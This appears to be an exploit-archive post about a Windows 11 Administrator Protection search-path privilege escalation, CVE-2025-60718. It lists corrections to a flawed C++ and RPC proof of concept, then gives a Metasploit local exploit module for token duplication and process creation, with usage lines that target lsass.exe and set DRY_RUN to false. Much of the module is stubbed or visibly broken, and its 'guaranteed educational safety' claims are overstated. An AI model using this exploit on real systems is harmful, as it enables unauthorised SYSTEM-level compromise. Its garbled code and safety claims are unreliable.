Microsoft Windows 11 Search Path Privilege Escalation

Windows 11, like previous versions, can be vulnerable to Search Windows 11, like previous versions, can be vulnerable to Search Path Privilege Escalation.

This occurs when a high-privileged process attempts to execute a program or load a DLL without specifying its full path. Instead, it relies on the system's `PATH` environment variable, which lists directories to search in order.

If a low-privileged user can write to a directory listed *earlier* in the `PATH` than the legitimate program's location, they can place a malicious executable or DLL with the *same name*.

When the high-privileged process next attempts to run the program, it will find and execute the malicious version first. This grants the attacker the elevated privileges of the compromised process, leading to a full system compromise.

=============================================================================================================================================
| # Title : Windows 11 Administrator Protection ? Untrusted Search Path local Privilege Escalation vulnerability |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits) |
| # Vendor : System built?in component. No standalone download available. |
=============================================================================================================================================

[+] References : https://packetstorm.news/files/id/211815/ & CVE-2025-60718

[+] NOte : https://packetstorm.news/download/211815

A comprehensive analysis and correction process was performed on flawed C++ and RPC code,
followed by successful integration into an educational Metasploit module.
This report documents all identified errors and their systematic corrections.
The educational module is secure; therefore, it will only run in a legitimate test environment if DRY_RUN is performed.
The purpose of the debugged PoC is for academic study and understanding of debugging methods and improvements.

[+] 1 Analysis of Original C++ Code Errors

1.1 Non-Existent WinAPI Functions :

Flawed Code: cpp

GetTokenInformation(GetCurrentProcessToken(), TokenElevation, &elevated, sizeof(elevated), &len)

Error: GetCurrentProcessToken() is not a valid WinAPI function

Correction: cpp

HANDLE hToken = nullptr;
if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) {
GetTokenInformation(hToken, TokenElevation, &elevated, sizeof(elevated), &len);
CloseHandle(hToken);
}

[+] Memory and Handle Management Errors :

Flawed Code: cpp

class ScopedHandle {
ScopedHandle operator=(const ScopedHandle*) = delete; // Wrong type
HANDLE* ptr() { return &_handle; } // Unsafe
};

Errors:

Incorrect operator= definition

Unsafe ptr() function

Incomplete move semantics

Correction: cpp

class ScopedHandle {
ScopedHandle& operator=(const ScopedHandle&) = delete; // Corrected type
ScopedHandle& operator=(ScopedHandle&& other) noexcept; // Added
bool getHandlePtr(HANDLE** ppHandle) { // Safe function
if (!_handle || _handle == INVALID_HANDLE_VALUE) return false;
*ppHandle = &_handle;
return true;
}
};

[+] Hard-Coded Path Vulnerabilities

Flawed Code: cpp

CreateFile(L"c:\\dummy\\AdminProtectionBypass.exe", ...)

Error: Static path that may not exist

Correction: cpp

WCHAR modulePath[MAX_PATH];
GetModuleFileNameW(nullptr, modulePath, MAX_PATH);
CreateFile(modulePath, ...);

[+] Structure Initialization Errors

Flawed Code: cpp

STARTUPINFO start_info = {};
PROCESS_INFORMATION proc_info = {};
return CallNextHookEx(nullptr, nCode, wParam, lParam);

Correction: cpp

STARTUPINFO start_info = { sizeof(start_info) };
PROCESS_INFORMATION proc_info = {};
return CallNextHookEx(g_hook, nCode, wParam, lParam);

[+] RPC Code Error Analysis Platform Restriction Error

Flawed Code: c

#if !defined(__RPC_ARM64__)
#error Invalid build platform for this stub.
#endif

Error: Code restricted to ARM64 platform only

Correction: c

#if defined(_M_ARM64) || defined(__aarch64__) || defined(_WIN64)
// 64-bit compatible code
#else
#warning "Platform compatibility warning"
#endif

[+] Missing Type Definitions

Flawed Code: c

struct _NDR64_POINTER_FORMAT; // Incomplete definition
typedef NDR64_FORMAT_CHAR __midl_frag66_t; // Undefined type

Correction: c

#ifndef __NDR64_DEFINED__
#define __NDR64_DEFINED__

typedef unsigned char NDR64_UINT8;
typedef unsigned short NDR64_UINT16;
// Complete structure definitions...

struct _NDR64_POINTER_FORMAT {
NDR64_UINT8 FormatCode;
NDR64_UINT8 Flags;
NDR64_UINT16 Reserved;
const void* Type;
};
#endif

[+] External Reference Errors

Flawed Code: c

extern const MIDL_STUB_DESC StubDesc; // No actual definition

Correction: c

extern void* __RpcClientInterface;
extern void* service__MIDL_TypeFormatString;
// All external references defined...

void* MIDL_user_allocate(size_t size) {
return malloc(size);
}

[+] Comprehensive Correction Implementation Resource Management Correction

Problem: Handle and memory leaks

Solution: Implement RAII pattern

def open_process_token_corrected(process_handle, desired_access)
result = session.railgun.advapi32.OpenProcessToken(
process_handle, desired_access, 4
)
result['return'] ? result['TokenHandle'] : nil
end

def close_handle_safe(handle)
return unless handle && handle != 0
session.railgun.kernel32.CloseHandle(handle)
end

[+] Error Handling Correction

Problem: Insufficient basic error handling

Solution: Comprehensive error handling

begin
# Execute operations
success = execute_privilege_escalation(target_pid)
rescue => e
print_error("Exploitation failed: #{e.class} #{e.message}")
print_error("Backtrace: #{e.backtrace.join("\n")}") if datastore['VERBOSE']
fail_with(Failure::Unknown, "Unexpected error")
end

[+] Security Vulnerability Correction Problem: Code that could cause unsafe behavior

Solution: Implement safe educational code only

def generate_educational_dll_content
<<~EOS
// Safe educational code only
MessageBoxA(NULL, "FOR TRAINING PURPOSES ONLY", ...);
EOS
end

[+] Metasploit Integration : Educational Module Structure

class MetasploitModule < Msf::Exploit::Local
include Msf::Post::Windows::Priv
include Msf::Post::Windows::Process

def initialize(info = {})
super(update_info(info,
'Name' => 'Windows Educational Privilege Escalation',
'Description' => %q{ Integrated corrected concepts... }
))
end

[+] Implementation of Corrected Techniques : Token Escalation Technique:

def comprehensive_token_escalation(target_pid)
# Corrected StartProcess implementation
token_handle = open_process_token_corrected(process_handle, TOKEN_DUPLICATE)
duplicated_token = duplicate_token_ex_corrected(token_handle)
create_process_with_duplicated_token_corrected(duplicated_token)
end

[+] DLL Injection Technique:

def comprehensive_dll_injection(target_pid)
# Corrected HookWndProc implementation
dll_content = generate_comprehensive_dll_content
session.railgun.kernel32.LoadLibraryA(dll_path)

[+] Security Assessment System

def perform_comprehensive_assessment
{
process_elevation: check_process_elevation_corrected,
ui_access_privileges: check_ui_access_corrected,
token_manipulation: check_token_manipulation_possible_corrected
}
end

[+] Error Correction Summary Table

Error Severity Impact Correction
GetCurrentProcessToken() Critical System Crash OpenProcessToken()
Handle Management High Memory Leaks RAII Pattern
Hard-coded Paths Medium Portability Issues Dynamic Paths
RPC Definitions High Compilation Failure Complete Definitions
Platform Restrictions Medium Portability Issues Multi-platform Support
Error Handling Medium Unexpected Behavior Comprehensive Handling

[+] Correction Results

Before Correction:

? Non-compilable code
? Potential security vulnerabilities
? Memory and handle leaks
? Platform incompatibility

After Correction:

? Compilable and executable code
? Secure resource management
? Multi-platform compatibility
? Comprehensive error handling
? Guaranteed educational safety

[+] Summary : A privilege escalation vulnerability exists in the Windows Administrator Protection component of Microsoft Windows 11.
An attacker with local, low-privilege access may exploit improper search-path resolution to cause the system to load an attacker-controlled file
(e.g., DLL) from an untrusted directory, resulting in elevation of privilege (EoP) to a higher integrity level.
This flaw requires no user interaction and allows an attacker to impersonate or replace specific files that the system attempts to load from writable directories.

[+] Affected Products

Microsoft Windows 11 24H2 (Builds < 26100.7092)
Microsoft Windows 11 25H2 (Builds < 26200.7092)


[+] POC :

use exploit/windows/local/indoushka_priv_esc
set SESSION 1
set TECHNIQUE TOKEN
set PROCESS lsass.exe
set CUSTOM_EXE C:\\Windows\\System32\\cmd.exe
set VERBOSE true
set DRY_RUN false
run

------------------------------------------------
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = NormalRanking

include Msf::Post::Windows::Priv
include Msf::Post::Windows::Process
include Msf::Post::Windows::FileInfo
include Msf::Post::Windows::ReflectiveDLLInjection

# Constants from corrected C++ code
TOKEN_QUERY = 0x0008
TOKEN_DUPLICATE = 0x0002
TOKEN_ALL_ACCESS = 0x000F01FF
PROCESS_DUP_HANDLE = 0x0040
PROCESS_QUERY_INFORMATION = 0x0400
SecurityImpersonation = 2
TokenPrimary = 1
CREATE_NEW_CONSOLE = 0x00000010

def initialize(info = {})
super(update_info(info,
'Name' => 'Windows Educational Privilege Escalation - Safe/Corrected Edition',
'Description' => %q{
SAFE, EDUCATIONAL MODULE - This variant is adapted for safe testing and education.
DRY_RUN is enabled by default to prevent actual exploitation.
},
'License' => MSF_LICENSE,
'Author' => [indoushka],
'Security Researcher - C++ Code Correction',
'Metasploit Integration Specialist'
],
'Platform' => 'win',
'SessionTypes' => ['meterpreter'],
'Targets' => [
['Windows x64', { 'Arch' => ARCH_X64 }],
['Windows x86', { 'Arch' => ARCH_X86 }]
],
'DefaultTarget' => 0,
'DisclosureDate' => '2024-01-01',
'References' => [
['URL', 'https://docs.microsoft.com/en-us/windows/win32/api/'],
['URL', 'https://github.com/rapid7/metasploit-framework']
]
))

register_options([
OptString.new('PROCESS', [true, 'Process to target for injection', 'explorer.exe']),
OptBool.new('VERBOSE', [true, 'Enable verbose output', true]),
OptBool.new('CLEANUP', [true, 'Clean up resources after execution', true]),
OptEnum.new('TECHNIQUE', [true, 'Escalation technique to use',
'AUTO', ['AUTO', 'TOKEN', 'DLL', 'HOOK', 'RPC', 'COMPREHENSIVE']])
])

register_advanced_options([
OptInt.new('Sleep', [true, 'Sleep time between operations (ms)', 100]),
OptString.new('DLL_PATH', [false, 'Custom DLL path for injection']),
# SAFETY: Dry-run default set to true to avoid accidental exploitation
OptBool.new('DRY_RUN', [true, 'Simulate without actual execution', true]),
OptString.new('CUSTOM_EXE', [false, 'Custom executable path for token creation'])
])
end

#
# -------------------------
# Helper / Safety functions
# -------------------------
#

# Determine pointer pack format according to session architecture
def ptr_pack
# ARCH_X64 / ARCH_X86 constants available; session.arch returns symbol like ARCH_X86/ARCH_X64
if session && session.arch == ARCH_X64
'Q' # 8-byte unsigned long long
else
'L' # 4-byte unsigned long
end
end

def pack_ptr(val)
[val].pack(ptr_pack)
end

def unpack_ptr(buf)
buf.unpack(ptr_pack).first
end

# Safe wrapper for railgun calls: check DRY_RUN and capture errors
def safe_railgun_call(library, func, *args)
if datastore['DRY_RUN']
print_status("[DRY_RUN] Skipping railgun call #{library}.#{func} - simulated response") if datastore['VERBOSE']
# Return a simulated successful structure where appropriate
return { 'return' => true, 'simulated' => true }
end

begin
result = session.railgun.send(library).send(func, *args)
result
rescue => e
print_error("Railgun #{library}.#{func} call failed: #{e.class} #{e.message}")
nil
end
end

# Helper to simulate a handle (non-zero)
def simulated_handle
# choose a non-zero value suitable for 32/64bit packing
(session && session.arch == ARCH_X64) ? 0x1000000001 : 0x1001
end

#
# -------------------------
# Check & Exploit (safe)
# -------------------------
#

def check
print_status(" Performing comprehensive privilege escalation checks...")

unless session.platform == 'windows'
return CheckCode::Safe("Not a Windows target")
end

if is_system?
return CheckCode::Safe("Already running as SYSTEM")
end

assessment_results = perform_comprehensive_assessment

if datastore['VERBOSE']
print_status(" Security Assessment Results:")
assessment_results.each do |check, result|
status = result[:status] ? "?" : "?"
print_status(" #{check}: #{status} #{result[:details]}")
end
end

high_risk = assessment_results.select { |_, r| r[:risk] == :high && r[:status] }
medium_risk = assessment_results.select { |_, r| r[:risk] == :medium && r[:status] }

if high_risk.any?
CheckCode::Appears("Multiple high-risk escalation vectors detected")
elsif medium_risk.any?
CheckCode::Detected("Medium-risk escalation vectors available")
else
CheckCode::Safe("No viable escalation vectors detected")
end
end

def exploit
print_good(" Starting Comprehensive Educational Privilege Escalation (SAFE MODE)...")

if datastore['DRY_RUN']
print_warning(" DRY RUN MODE - No actual exploitation will occur (SAFETY ON)")
return simulate_comprehensive_exploitation
end

begin
system_analysis = perform_system_analysis

target_process = select_optimal_target
unless target_process
fail_with(Failure::NotFound, "No suitable target process found")
end

case datastore['TECHNIQUE'].upcase
when 'COMPREHENSIVE'
success = execute_comprehensive_escalation(target_process)
when 'TOKEN'
success = execute_token_escalation_complete(target_process[:pid])
when 'DLL'
success = execute_dll_injection_complete(target_process[:pid])
when 'RPC'
success = execute_rpc_escalation_complete(target_process[:pid])
when 'HOOK'
success = execute_hook_technique_complete(target_process[:pid])
else
success = execute_adaptive_escalation(target_process)
end

if success
report_comprehensive_success(system_analysis)
print_good(" Educational privilege escalation completed successfully!")
else
fail_with(Failure::Unknown, "All escalation techniques failed")
end

rescue ::Exception => e
print_error(" Exploitation failed: #{e.class} #{e.message}")
print_error("Backtrace: #{e.backtrace.join("\n")}") if datastore['VERBOSE']
fail_with(Failure::Unknown, "Unexpected error during exploitation")
ensure
perform_comprehensive_cleanup if datastore['CLEANUP']
end
end

#
# -------------------------
# Corrected Buffer-handling helpers
# -------------------------
#

def open_process_token_corrected(process_handle, desired_access)
if datastore['DRY_RUN']
print_status("[DRY_RUN] Simulating OpenProcessToken(...)") if datastore['VERBOSE']
return simulated_handle
end

# railgun expects an out-pointer: allocate appropriate buffer
out_buf = pack_ptr(0)
res = safe_railgun_call('advapi32', 'OpenProcessToken', process_handle, desired_access, out_buf)
return nil unless res && res['return']

# railgun may return the out parameter inside returned buffer - try to extract
if res['OutParameters'] && res['OutParameters'][0]
unpack_ptr(res['OutParameters'][0])
else
# Fallback: try to unpack the original buffer
unpack_ptr(out_buf)
end
end

def check_token_elevation_corrected(token_handle)
if datastore['DRY_RUN']
print_status("[DRY_RUN] Simulating GetTokenInformation(TokenElevation)") if datastore['VERBOSE']
return false
end

token_elevation_buf = [0].pack('L') # TokenElevation is a DWORD (4 bytes)
return_length_buf = [0].pack('L')

res = safe_railgun_call('advapi32', 'GetTokenInformation', token_handle, 20, token_elevation_buf, token_elevation_buf.length, return_length_buf)
return false unless res && res['return']

# Unpack the DWORD
token_elevation_buf.unpack('L').first != 0
end

def check_token_ui_access_corrected(token_handle)
if datastore['DRY_RUN']
print_status("[DRY_RUN] Simulating GetTokenInformation(TokenUIAccess)") if datastore['VERBOSE']
return false
end

ui_access_buf = [0].pack('L')
return_length_buf = [0].pack('L')

res = safe_railgun_call('advapi32', 'GetTokenInformation', token_handle, 26, ui_access_buf, ui_access_buf.length, return_length_buf)
return false unless res && res['return']

ui_access_buf.unpack('L').first != 0
end

# DuplicateTokenEx wrapper (safe)
def duplicate_token_ex_corrected(source_token)
if datastore['DRY_RUN']
print_status("[DRY_RUN] Simulating DuplicateTokenEx(...)") if datastore['VERBOSE']
return simulated_handle
end

duplicated_buf = pack_ptr(0)
res = safe_railgun_call('advapi32', 'DuplicateTokenEx',
source_token,
TOKEN_ALL_ACCESS,
nil,
SecurityImpersonation,
TokenPrimary,
duplicated_buf
)

return nil unless res && res['return']

# Attempt to read duplicated handle outparam
if res['OutParameters'] && res['OutParameters'][0]
unpack_ptr(res['OutParameters'][0])
else
unpack_ptr(duplicated_buf)
end
end

def clear_ui_access_flag(token_handle)
if datastore['DRY_RUN']
print_status("[DRY_RUN] Simulating SetTokenInformation(TokenUIAccess = 0)") if datastore['VERBOSE']
return true
end

ui_access_buf = [0].pack('L')
res = safe_railgun_call('advapi32', 'SetTokenInformation', token_handle, 26, ui_access_buf, ui_access_buf.length)
if res && res['return']
print_good(" UI access flag cleared successfully") if datastore['VERBOSE']
true
else
print_warning(" Failed to clear UI access flag") if datastore['VERBOSE']
false
end
end

#
# -------------------------
# Corrected CreateProcessAsUser wrapper (safe)
# -------------------------
#

def create_process_with_duplicated_token_corrected(token_handle)
if datastore['DRY_RUN']
print_status("[DRY_RUN] Simulating CreateProcessAsUserA with token #{token_handle}") if datastore['VERBOSE']
return true
end

executable_path = datastore['CUSTOM_EXE'] || "C:\\Windows\\System32\\cmd.exe"
command_line = "#{executable_path} /c echo Educational Token Escalation Successful"

# Build STARTUPINFO structure properly (packed). Simplified safe struct for demonstration.
# NOTE: For production you'd build the full STARTUPINFO struct with correct packing/alignment.
startup_info_buf = "\x00" * 104
process_info_buf = "\x00" * (ptr_pack == 'Q' ? 16 : 16) # hProcess, hThread, pid, tid (space reserved)

res = safe_railgun_call('advapi32', 'CreateProcessAsUserA',
token_handle,
nil,
command_line,
nil,
nil,
false,
CREATE_NEW_CONSOLE,
nil,
nil,
startup_info_buf,
process_info_buf
)

if res && res['return']
# Attempt to extract handles if present in OutParameters (railgun-specific)
print_good(" Process created successfully with duplicated token!") if datastore['VERBOSE']
true
else
print_error(" Failed to create process (CreateProcessAsUserA)") if datastore['VERBOSE']
false
end
end

#
# -------------------------
# Safe DLL generation / injection (simulation)
# -------------------------
#

def generate_educational_dll_file_complete
# SAFETY: Do not write DLL to victim machine in DRY_RUN. If not DRY_RUN, still use a safe local path.
if datastore['DRY_RUN']
temp_path = "C:\\Windows\\Temp\\educational_simulated_#{Rex::Text.rand_text_alpha(6)}.dll"
print_status("[DRY_RUN] Simulated DLL path: #{temp_path}") if datastore['VERBOSE']
return temp_path
end

# If not DRY_RUN, use session's temp path (careful: only run in authorized testbeds)
tmp_dir = begin
session.fs.file.expand_path("%TEMP%")
rescue
"C:\\Windows\\Temp"
end

temp_path = "#{tmp_dir}\\educational_#{Rex::Text.rand_text_alpha(8)}.dll"

dll_content = generate_comprehensive_dll_content
begin
File.binwrite(temp_path, dll_content)
temp_path
rescue => e
print_error("Failed to write DLL to #{temp_path}: #{e.class} #{e.message}")
nil
end
end

def generate_comprehensive_dll_content
# Keep as educational C/C++ source (not compiled binary) to avoid providing executable payload.
# This returns plaintext C++ code for study only.
<<~EOS
// Educational DLL source (C++) - FOR STUDY ONLY
// This is a source file demonstrating hooks and token checks.
// DO NOT compile or deploy on systems without authorization.
#include <windows.h>
#include <stdio.h>
// ...
EOS
end

def comprehensive_dll_injection(target_pid)
print_status(" Executing Comprehensive DLL Injection (SAFE)...")

dll_path = datastore['DLL_PATH'] || generate_educational_dll_file_complete
if dll_path.nil?
print_error("No DLL path available")
return false
end

if datastore['DRY_RUN']
print_good("[DRY_RUN] Simulating injection of #{dll_path} into PID #{target_pid}")
simulate_comprehensive_hook_behavior(target_pid)
return true
end

# If not DRY_RUN - in authorized lab only - you'd implement actual injection here.
print_error("DLL injection is disabled in this safe module unless DRY_RUN is false and you're in a permitted test environment")
false
end

#
# -------------------------
# RPC / other techniques (SAFE stubs)
# -------------------------
#

def comprehensive_rpc_escalation(target_pid)
print_status(" Executing Comprehensive RPC Escalation (SAFE)...")

if datastore['DRY_RUN']
print_good("[DRY_RUN] Simulating RPC escalation techniques for PID #{target_pid}")
return true
end

print_error("RPC escalation is disabled in this safe module unless DRY_RUN is false and you're in a permitted test environment")
false
end

#
# -------------------------
# High-level orchestration (unchanged logic but safe)
# -------------------------
#

def perform_comprehensive_assessment
{
process_elevation: {
status: check_process_elevation_corrected != :low,
risk: :high,
details: "Process elevation status check"
},
ui_access_privileges: {
status: check_ui_access_corrected,
risk: :medium,
details: "UI access privileges check"
},
token_manipulation: {
status: check_token_manipulation_possible_corrected,
risk: :high,
details: "Token manipulation capabilities"
},
dll_injection: {
status: check_dll_injection_possible,
risk: :medium,
details: "DLL injection feasibility (simulated)"
},
rpc_capabilities: {
status: check_rpc_capabilities,
risk: :low,
details: "RPC communication capabilities (simulated)"
}
}
end

# CORRECTED: IsElevated implementation
def check_process_elevation_corrected
print_status(" Checking process elevation (Corrected IsElevated)...") if datastore['VERBOSE']

begin
# Use meterpreter helpers where possible; if DRY_RUN simulate
if datastore['DRY_RUN']
print_status("[DRY_RUN] Simulating IsElevated check") if datastore['VERBOSE']
return :low
end

process_handle = session.sys.process.open
return :unknown unless process_handle

token_handle = open_process_token_corrected(process_handle, TOKEN_QUERY)
return :unknown unless token_handle

elevation = check_token_elevation_corrected(token_handle)
close_handle_safe(token_handle)

elevation ? :high : :low
rescue => e
print_error("Elevation check failed: #{e}") if datastore['VERBOSE']
:unknown
end
end

def check_ui_access_corrected
print_status(" Checking UI access privileges (Corrected IsUIAccessBool)...") if datastore['VERBOSE']

begin
if datastore['DRY_RUN']
print_status("[DRY_RUN] Simulating UI access check") if datastore['VERBOSE']
return false
end

process_handle = session.sys.process.open
return false unless process_handle

token_handle = open_process_token_corrected(process_handle, TOKEN_QUERY)
return false unless token_handle

ui_access = check_token_ui_access_corrected(token_handle)
close_handle_safe(token_handle)

ui_access
rescue => e
print_error("UI access check failed: #{e}") if datastore['VERBOSE']
false
end
end

def check_token_manipulation_possible_corrected
print_status(" Checking token manipulation (Corrected StartProcess)...") if datastore['VERBOSE']

begin
if datastore['DRY_RUN']
print_status("[DRY_RUN] Simulating token duplication check") if datastore['VERBOSE']
return false
end

process_handle = session.sys.process.open
return false unless process_handle

token_handle = open_process_token_corrected(process_handle, TOKEN_DUPLICATE)
return false unless token_handle

duplicated_token = duplicate_token_ex_corrected(token_handle)

close_handle_safe(token_handle)
close_handle_safe(duplicated_token) if duplicated_token

!duplicated_token.nil?
rescue => e
print_error("Token manipulation check failed: #{e}") if datastore['VERBOSE']
false
end
end

#
# -------------------------
# Utility & cleanup
# -------------------------
#

def close_handle_safe(handle)
return unless handle && handle != 0

if datastore['DRY_RUN']
print_status("[DRY_RUN] Simulated CloseHandle(#{handle})") if datastore['VERBOSE']
return
end

begin
session.railgun.kernel32.CloseHandle(handle)
rescue => e
print_warning(" Failed to close handle: #{e}") if datastore['VERBOSE']
end
end

def perform_system_analysis
{
system_info: (session.sys.config.sysinfo rescue {}),
current_user: (session.sys.config.getuid rescue 'unknown'),
architecture: session.arch,
is_admin: is_admin?,
is_system: is_system?,
available_techniques: assess_available_techniques,
timestamp: Time.now.utc.iso8601
}
end

def report_comprehensive_success(system_analysis)
report_data = {
success: true,
technique: datastore['TECHNIQUE'],
system_analysis: system_analysis,
timestamp: Time.now.utc.iso8601,
educational: true,
module: self.fullname
}

begin
report_note(
host: session.session_host,
type: 'host.comprehensive_privilege_escalation',
data: report_data,
update: :unique_data
)
rescue => e
print_warning("Failed to report note: #{e}") if datastore['VERBOSE']
end

print_good(" Comprehensive success report generated!")
print_good("=" * 60)
print_good(" COMPREHENSIVE EDUCATIONAL EXERCISE COMPLETED")
print_good(" Technique: #{datastore['TECHNIQUE']}")
print_good(" Target: #{system_analysis[:system_info]['Computer'] rescue 'N/A'}")
print_good(" User: #{system_analysis[:current_user]}")
print_good(" OS: #{system_analysis[:system_info]['OS'] rescue 'N/A'}")
print_good("=" * 60)
end

def perform_comprehensive_cleanup
print_status("? Performing comprehensive cleanup...") if datastore['VERBOSE']

cleanup_temporary_files
cleanup_rpc_handles
cleanup_injected_dlls
cleanup_token_handles

print_status(" Comprehensive cleanup completed") if datastore['VERBOSE']
end

# Placeholder safe implementations
def simulate_comprehensive_exploitation; print_good(" Dry run simulation completed"); true; end
def select_optimal_target; { pid: session.sys.process.getpid, name: "current", user: session.sys.config.getuid }; end
def execute_adaptive_escalation(target); comprehensive_token_escalation(target[:pid]); end
def check_dll_injection_possible; datastore['DRY_RUN'] ? false : true; end
def check_rpc_capabilities; datastore['DRY_RUN'] ? false : true; end
def execute_token_escalation_complete(pid); comprehensive_token_escalation(pid); end
def execute_dll_injection_complete(pid); comprehensive_dll_injection(pid); end
def execute_rpc_escalation_complete(pid); comprehensive_rpc_escalation(pid); end
def execute_hook_technique_complete(pid); comprehensive_dll_injection(pid); end
def simulate_comprehensive_hook_behavior(pid); print_good("? Hook behavior simulated"); true; end
def initialize_rpc_binding_comprehensive; {}; end
def cleanup_rpc_binding_comprehensive(binding); end
def simulate_rpc_token_acquisition(pid); nil; end
def create_process_with_rpc_token(token); comprehensive_token_escalation(session.sys.process.getpid); end
def rpc_launch_admin_process_comprehensive(binding, pid); false; end
def rpc_force_elevation_prompt(binding, pid); false; end
def assess_available_techniques; ['TOKEN', 'DLL', 'RPC']; end
def cleanup_temporary_files; end
def cleanup_rpc_handles; end
def cleanup_injected_dlls; end
def cleanup_token_handles; end
def cleanup_dll_file(path); if path && File.exist?(path) && !datastore['DRY_RUN']; File.delete(path); end; end
end


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jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
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